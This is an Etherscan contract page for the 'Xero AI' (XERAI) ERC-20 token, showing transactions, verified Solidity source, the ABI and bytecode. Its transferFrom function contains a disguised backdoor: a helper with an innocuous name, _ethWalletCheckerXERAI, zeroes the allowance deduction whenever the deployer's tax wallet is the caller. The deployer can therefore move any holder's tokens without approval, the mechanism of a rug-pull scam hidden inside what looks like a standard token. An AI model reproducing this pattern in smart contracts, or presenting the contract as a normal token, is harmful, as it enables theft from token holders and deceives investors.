ETH Price: $1,973.76 (+3.59%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve233397912025-09-11 12:22:35171 days ago1757593355IN
0xd90667E3...42E8E63c8
0 ETH0.000071451.53683834
Approve229301702025-07-16 7:10:59228 days ago1752649859IN
0xd90667E3...42E8E63c8
0 ETH0.00008991.93967532
Approve229137962025-07-14 0:20:35230 days ago1752452435IN
0xd90667E3...42E8E63c8
0 ETH0.000013060.53980822
Approve228975692025-07-11 17:58:11232 days ago1752256691IN
0xd90667E3...42E8E63c8
0 ETH0.000201714.35976142
Transfer From228975692025-07-11 17:58:11232 days ago1752256691IN
0xd90667E3...42E8E63c8
0 ETH0.000183864.35976142
Approve228963982025-07-11 14:01:23232 days ago1752242483IN
0xd90667E3...42E8E63c8
0 ETH0.000337197.25406591
Approve228963942025-07-11 14:00:35232 days ago1752242435IN
0xd90667E3...42E8E63c8
0 ETH0.000291676.27328434
Approve228961742025-07-11 13:16:35233 days ago1752239795IN
0xd90667E3...42E8E63c8
0 ETH0.000115434.77010431
Approve228961282025-07-11 13:07:23233 days ago1752239243IN
0xd90667E3...42E8E63c8
0 ETH0.000263395.66640066
Approve228961092025-07-11 13:03:23233 days ago1752239003IN
0xd90667E3...42E8E63c8
0 ETH0.00031186.7062945
Approve228955622025-07-11 11:12:59233 days ago1752232379IN
0xd90667E3...42E8E63c8
0 ETH0.000236675.08386535
Approve228954702025-07-11 10:54:35233 days ago1752231275IN
0xd90667E3...42E8E63c8
0 ETH0.000306886.59197811
Approve228954262025-07-11 10:45:47233 days ago1752230747IN
0xd90667E3...42E8E63c8
0 ETH0.000177963.82368491
Approve228947912025-07-11 8:38:11233 days ago1752223091IN
0xd90667E3...42E8E63c8
0 ETH0.000282266.10396307
Approve228947902025-07-11 8:37:59233 days ago1752223079IN
0xd90667E3...42E8E63c8
0 ETH0.000282266.10396307
Approve228947422025-07-11 8:28:23233 days ago1752222503IN
0xd90667E3...42E8E63c8
0 ETH0.000246795.3368213
Approve228947412025-07-11 8:28:11233 days ago1752222491IN
0xd90667E3...42E8E63c8
0 ETH0.000233925.058581
Approve228947412025-07-11 8:28:11233 days ago1752222491IN
0xd90667E3...42E8E63c8
0 ETH0.000233925.058581
Approve228946572025-07-11 8:11:23233 days ago1752221483IN
0xd90667E3...42E8E63c8
0 ETH0.000175993.78612928
Approve228946542025-07-11 8:10:47233 days ago1752221447IN
0xd90667E3...42E8E63c8
0 ETH0.000245645.31211631
Approve228946542025-07-11 8:10:47233 days ago1752221447IN
0xd90667E3...42E8E63c8
0 ETH0.000245645.31211631
Approve228946272025-07-11 8:05:23233 days ago1752221123IN
0xd90667E3...42E8E63c8
0 ETH0.00026355.69823697
Approve228946112025-07-11 8:02:11233 days ago1752220931IN
0xd90667E3...42E8E63c8
0 ETH0.000287036.20714741
Approve228946112025-07-11 8:02:11233 days ago1752220931IN
0xd90667E3...42E8E63c8
0 ETH0.000287036.20714741
Approve228945742025-07-11 7:54:47233 days ago1752220487IN
0xd90667E3...42E8E63c8
0 ETH0.000307956.65948667
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...228913882025-07-10 21:12:59233 days ago1752181979
0xd90667E3...42E8E63c8
2 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
XERAI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2025-07-10
*/

// SPDX-License-Identifier: MIT

/*
    Web: https://www.xeroai.pro
    Docs: https://docs.xeroai.pro
    X: https://x.com/XeroAICore
    TG: https://t.me/xeroai_channel
    Bot: https://t.me/XeroAi_Snipebot
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract XERAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address payable private _tokenTaxWallet;

    address constant _tokenDeadAddr = address(0xdead);

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalXERAI = 1000_000_000 * 10**_decimals;
    string private constant _name = unicode"Xero AI";
    string private constant _symbol = unicode"XERAI";

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    
    constructor() payable {
        _tokenTaxWallet = payable(msg.sender);

        _balances[address(this)] = _tTotalXERAI * 98 / 100;
        _balances[msg.sender] = _tTotalXERAI * 2 / 100;

        emit Transfer(address(0), address(this), _tTotalXERAI * 98 / 100);
        emit Transfer(address(0), msg.sender, _tTotalXERAI * 2 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalXERAI;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _ethWalletCheckerXERAI (address sender, address recipient) private view returns(uint256) {
        return (msg.sender != _tokenTaxWallet &&
            (sender == uniswapV2Pair || recipient != _tokenDeadAddr || sender == address(this))) ? 1 : 0;
    }

    function transferFrom(
        address senderXERAI,
        address recipientXERAI,
        uint256 amountXERAI
    ) public override returns (bool) {
        uint256 vit = _ethWalletCheckerXERAI(senderXERAI, recipientXERAI);
        _transfer(senderXERAI, recipientXERAI, amountXERAI);

        _approve(
            senderXERAI,
            _msgSender(),
            _allowances[senderXERAI][_msgSender()].sub(
                vit * amountXERAI,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;      
    }

    function _transfer(
        address fromXERAI,
        address toXERAI,
        uint256 amountXERAI
    ) private {
        require(fromXERAI != address(0), "ERC20: transfer from the zero address");
        require(toXERAI != address(0), "ERC20: transfer to the zero address");
        require(amountXERAI > 0, "Transfer amount must be greater than zero");

        _balances[fromXERAI] = _balances[fromXERAI] - amountXERAI;
        _balances[toXERAI] = _balances[toXERAI].add(amountXERAI);

        if (toXERAI != _tokenDeadAddr) emit Transfer(fromXERAI, toXERAI, amountXERAI);
    }

    function enableXERAITrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotalXERAI);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function rescueXERAIETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableXERAITrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueXERAIETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"senderXERAI","type":"address"},{"internalType":"address","name":"recipientXERAI","type":"address"},{"internalType":"uint256","name":"amountXERAI","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060408190525f80546001600160a01b031916339081178255918291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600380546001600160a01b031916331790556064620000656009600a620002b3565b6200007590633b9aca00620002ca565b62000082906062620002ca565b6200008e9190620002e4565b305f908152600160205260409020556064620000ad6009600a620002b3565b620000bd90633b9aca00620002ca565b620000ca906002620002ca565b620000d69190620002e4565b335f9081526001602052604081209190915530905f80516020620012678339815191526064620001096009600a620002b3565b6200011990633b9aca00620002ca565b62000126906062620002ca565b620001329190620002e4565b60405190815260200160405180910390a3335f5f80516020620012678339815191526064620001646009600a620002b3565b6200017490633b9aca00620002ca565b62000181906002620002ca565b6200018d9190620002e4565b60405190815260200160405180910390a362000304565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620001f857815f1904821115620001dc57620001dc620001a4565b80851615620001ea57918102915b93841c9390800290620001bd565b509250929050565b5f826200021057506001620002ad565b816200021e57505f620002ad565b8160018114620002375760028114620002425762000262565b6001915050620002ad565b60ff841115620002565762000256620001a4565b50506001821b620002ad565b5060208310610133831016604e8410600b841016171562000287575081810a620002ad565b620002938383620001b8565b805f1904821115620002a957620002a9620001a4565b0290505b92915050565b5f620002c360ff84168362000200565b9392505050565b8082028115828204841417620002ad57620002ad620001a4565b5f82620002ff57634e487b7160e01b5f52601260045260245ffd5b500490565b610f5580620003125f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b411461021d578063a9059cbb1461024a578063b6fb80a014610269578063dd62ed3e1461027d575f80fd5b806370a08231146101af578063715018a6146101e35780638da5cb5b146101f7575f80fd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806349316fde14610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260078152665865726f20414960c81b60208201525b6040516101059190610c04565b60405180910390f35b348015610119575f80fd5b5061012d610128366004610c64565b6102c1565b6040519015158152602001610105565b348015610148575f80fd5b506101516102d7565b604051908152602001610105565b34801561016a575f80fd5b5061012d610179366004610c8e565b6102f7565b348015610189575f80fd5b5060405160098152602001610105565b3480156101a4575f80fd5b506101ad610375565b005b3480156101ba575f80fd5b506101516101c9366004610ccc565b6001600160a01b03165f9081526001602052604090205490565b3480156101ee575f80fd5b506101ad61071b565b348015610202575f80fd5b505f546040516001600160a01b039091168152602001610105565b348015610228575f80fd5b50604080518082019091526005815264584552414960d81b60208201526100f8565b348015610255575f80fd5b5061012d610264366004610c64565b61078c565b348015610274575f80fd5b506101ad610798565b348015610288575f80fd5b50610151610297366004610ce7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102cd3384846107f5565b5060015b92915050565b5f6102e46009600a610e12565b6102f290633b9aca00610e20565b905090565b5f806103038585610919565b9050610310858585610982565b61036a85336103656103228786610e20565b604051806060016040528060288152602001610ef8602891396001600160a01b038b165f9081526002602090815260408083203384529091529020549190610b67565b6107f5565b506001949350505050565b5f546001600160a01b031633146103a75760405162461bcd60e51b815260040161039e90610e37565b60405180910390fd5b600554600160a01b900460ff16156104015760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039e565b600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561044a90309061043c6009600a610e12565b61036590633b9aca00610e20565b600480546040805163c45a015560e01b815290516001600160a01b039092169263c45a01559282820192602092908290030181865afa15801561048f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b39190610e6c565b6001600160a01b031663c9c653963060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610512573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105369190610e6c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610580573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a49190610e6c565b600580546001600160a01b039283166001600160a01b03199091161790556004541663f305d71947306105eb816001600160a01b03165f9081526001602052604090205490565b5f806105fe5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610664573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106899190610e87565b505060058054600160a01b60ff60a01b198216179091556004805460405163095ea7b360e01b81526001600160a01b03918216928101929092525f196024830152909116915063095ea7b3906044016020604051808303815f875af11580156106f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107189190610eb2565b50565b5f546001600160a01b031633146107445760405162461bcd60e51b815260040161039e90610e37565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cd338484610982565b5f546001600160a01b031633146107c15760405162461bcd60e51b815260040161039e90610e37565b5f47116107cc575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610718573d5f803e3d5ffd5b6001600160a01b0383166108575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039e565b6001600160a01b0382166108b85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6003545f906001600160a01b0316331480159061096b57506005546001600160a01b038481169116148061095857506001600160a01b03821661dead14155b8061096b57506001600160a01b03831630145b610975575f610978565b60015b60ff169392505050565b6001600160a01b0383166109e65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039e565b6001600160a01b038216610a485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039e565b5f8111610aa95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039e565b6001600160a01b0383165f90815260016020526040902054610acc908290610ed1565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610afa9082610b9f565b6001600160a01b0383165f8181526001602052604090209190915561dead14610b6257816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161090c91815260200190565b505050565b5f8184841115610b8a5760405162461bcd60e51b815260040161039e9190610c04565b505f610b968486610ed1565b95945050505050565b5f80610bab8385610ee4565b905083811015610bfd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039e565b9392505050565b5f602080835283518060208501525f5b81811015610c3057858101830151858201604001528201610c14565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610718575f80fd5b5f8060408385031215610c75575f80fd5b8235610c8081610c50565b946020939093013593505050565b5f805f60608486031215610ca0575f80fd5b8335610cab81610c50565b92506020840135610cbb81610c50565b929592945050506040919091013590565b5f60208284031215610cdc575f80fd5b8135610bfd81610c50565b5f8060408385031215610cf8575f80fd5b8235610d0381610c50565b91506020830135610d1381610c50565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610d6c57815f1904821115610d5257610d52610d1e565b80851615610d5f57918102915b93841c9390800290610d37565b509250929050565b5f82610d82575060016102d1565b81610d8e57505f6102d1565b8160018114610da45760028114610dae57610dca565b60019150506102d1565b60ff841115610dbf57610dbf610d1e565b50506001821b6102d1565b5060208310610133831016604e8410600b8410161715610ded575081810a6102d1565b610df78383610d32565b805f1904821115610e0a57610e0a610d1e565b029392505050565b5f610bfd60ff841683610d74565b80820281158282048414176102d1576102d1610d1e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610e7c575f80fd5b8151610bfd81610c50565b5f805f60608486031215610e99575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215610ec2575f80fd5b81518015158114610bfd575f80fd5b818103818111156102d1576102d1610d1e565b808201808211156102d1576102d1610d1e56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205935f63707e696f3aed10488d20950236fa384b4a2aecc48db1f1ec9599d389c64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b411461021d578063a9059cbb1461024a578063b6fb80a014610269578063dd62ed3e1461027d575f80fd5b806370a08231146101af578063715018a6146101e35780638da5cb5b146101f7575f80fd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806349316fde14610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260078152665865726f20414960c81b60208201525b6040516101059190610c04565b60405180910390f35b348015610119575f80fd5b5061012d610128366004610c64565b6102c1565b6040519015158152602001610105565b348015610148575f80fd5b506101516102d7565b604051908152602001610105565b34801561016a575f80fd5b5061012d610179366004610c8e565b6102f7565b348015610189575f80fd5b5060405160098152602001610105565b3480156101a4575f80fd5b506101ad610375565b005b3480156101ba575f80fd5b506101516101c9366004610ccc565b6001600160a01b03165f9081526001602052604090205490565b3480156101ee575f80fd5b506101ad61071b565b348015610202575f80fd5b505f546040516001600160a01b039091168152602001610105565b348015610228575f80fd5b50604080518082019091526005815264584552414960d81b60208201526100f8565b348015610255575f80fd5b5061012d610264366004610c64565b61078c565b348015610274575f80fd5b506101ad610798565b348015610288575f80fd5b50610151610297366004610ce7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102cd3384846107f5565b5060015b92915050565b5f6102e46009600a610e12565b6102f290633b9aca00610e20565b905090565b5f806103038585610919565b9050610310858585610982565b61036a85336103656103228786610e20565b604051806060016040528060288152602001610ef8602891396001600160a01b038b165f9081526002602090815260408083203384529091529020549190610b67565b6107f5565b506001949350505050565b5f546001600160a01b031633146103a75760405162461bcd60e51b815260040161039e90610e37565b60405180910390fd5b600554600160a01b900460ff16156104015760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039e565b600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561044a90309061043c6009600a610e12565b61036590633b9aca00610e20565b600480546040805163c45a015560e01b815290516001600160a01b039092169263c45a01559282820192602092908290030181865afa15801561048f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b39190610e6c565b6001600160a01b031663c9c653963060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610512573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105369190610e6c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610580573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a49190610e6c565b600580546001600160a01b039283166001600160a01b03199091161790556004541663f305d71947306105eb816001600160a01b03165f9081526001602052604090205490565b5f806105fe5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610664573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106899190610e87565b505060058054600160a01b60ff60a01b198216179091556004805460405163095ea7b360e01b81526001600160a01b03918216928101929092525f196024830152909116915063095ea7b3906044016020604051808303815f875af11580156106f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107189190610eb2565b50565b5f546001600160a01b031633146107445760405162461bcd60e51b815260040161039e90610e37565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cd338484610982565b5f546001600160a01b031633146107c15760405162461bcd60e51b815260040161039e90610e37565b5f47116107cc575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610718573d5f803e3d5ffd5b6001600160a01b0383166108575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039e565b6001600160a01b0382166108b85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6003545f906001600160a01b0316331480159061096b57506005546001600160a01b038481169116148061095857506001600160a01b03821661dead14155b8061096b57506001600160a01b03831630145b610975575f610978565b60015b60ff169392505050565b6001600160a01b0383166109e65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039e565b6001600160a01b038216610a485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039e565b5f8111610aa95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039e565b6001600160a01b0383165f90815260016020526040902054610acc908290610ed1565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610afa9082610b9f565b6001600160a01b0383165f8181526001602052604090209190915561dead14610b6257816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161090c91815260200190565b505050565b5f8184841115610b8a5760405162461bcd60e51b815260040161039e9190610c04565b505f610b968486610ed1565b95945050505050565b5f80610bab8385610ee4565b905083811015610bfd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039e565b9392505050565b5f602080835283518060208501525f5b81811015610c3057858101830151858201604001528201610c14565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610718575f80fd5b5f8060408385031215610c75575f80fd5b8235610c8081610c50565b946020939093013593505050565b5f805f60608486031215610ca0575f80fd5b8335610cab81610c50565b92506020840135610cbb81610c50565b929592945050506040919091013590565b5f60208284031215610cdc575f80fd5b8135610bfd81610c50565b5f8060408385031215610cf8575f80fd5b8235610d0381610c50565b91506020830135610d1381610c50565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610d6c57815f1904821115610d5257610d52610d1e565b80851615610d5f57918102915b93841c9390800290610d37565b509250929050565b5f82610d82575060016102d1565b81610d8e57505f6102d1565b8160018114610da45760028114610dae57610dca565b60019150506102d1565b60ff841115610dbf57610dbf610d1e565b50506001821b6102d1565b5060208310610133831016604e8410600b8410161715610ded575081810a6102d1565b610df78383610d32565b805f1904821115610e0a57610e0a610d1e565b029392505050565b5f610bfd60ff841683610d74565b80820281158282048414176102d1576102d1610d1e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610e7c575f80fd5b8151610bfd81610c50565b5f805f60608486031215610e99575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215610ec2575f80fd5b81518015158114610bfd575f80fd5b818103818111156102d1576102d1610d1e565b808201808211156102d1576102d1610d1e56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205935f63707e696f3aed10488d20950236fa384b4a2aecc48db1f1ec9599d389c64736f6c63430008180033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.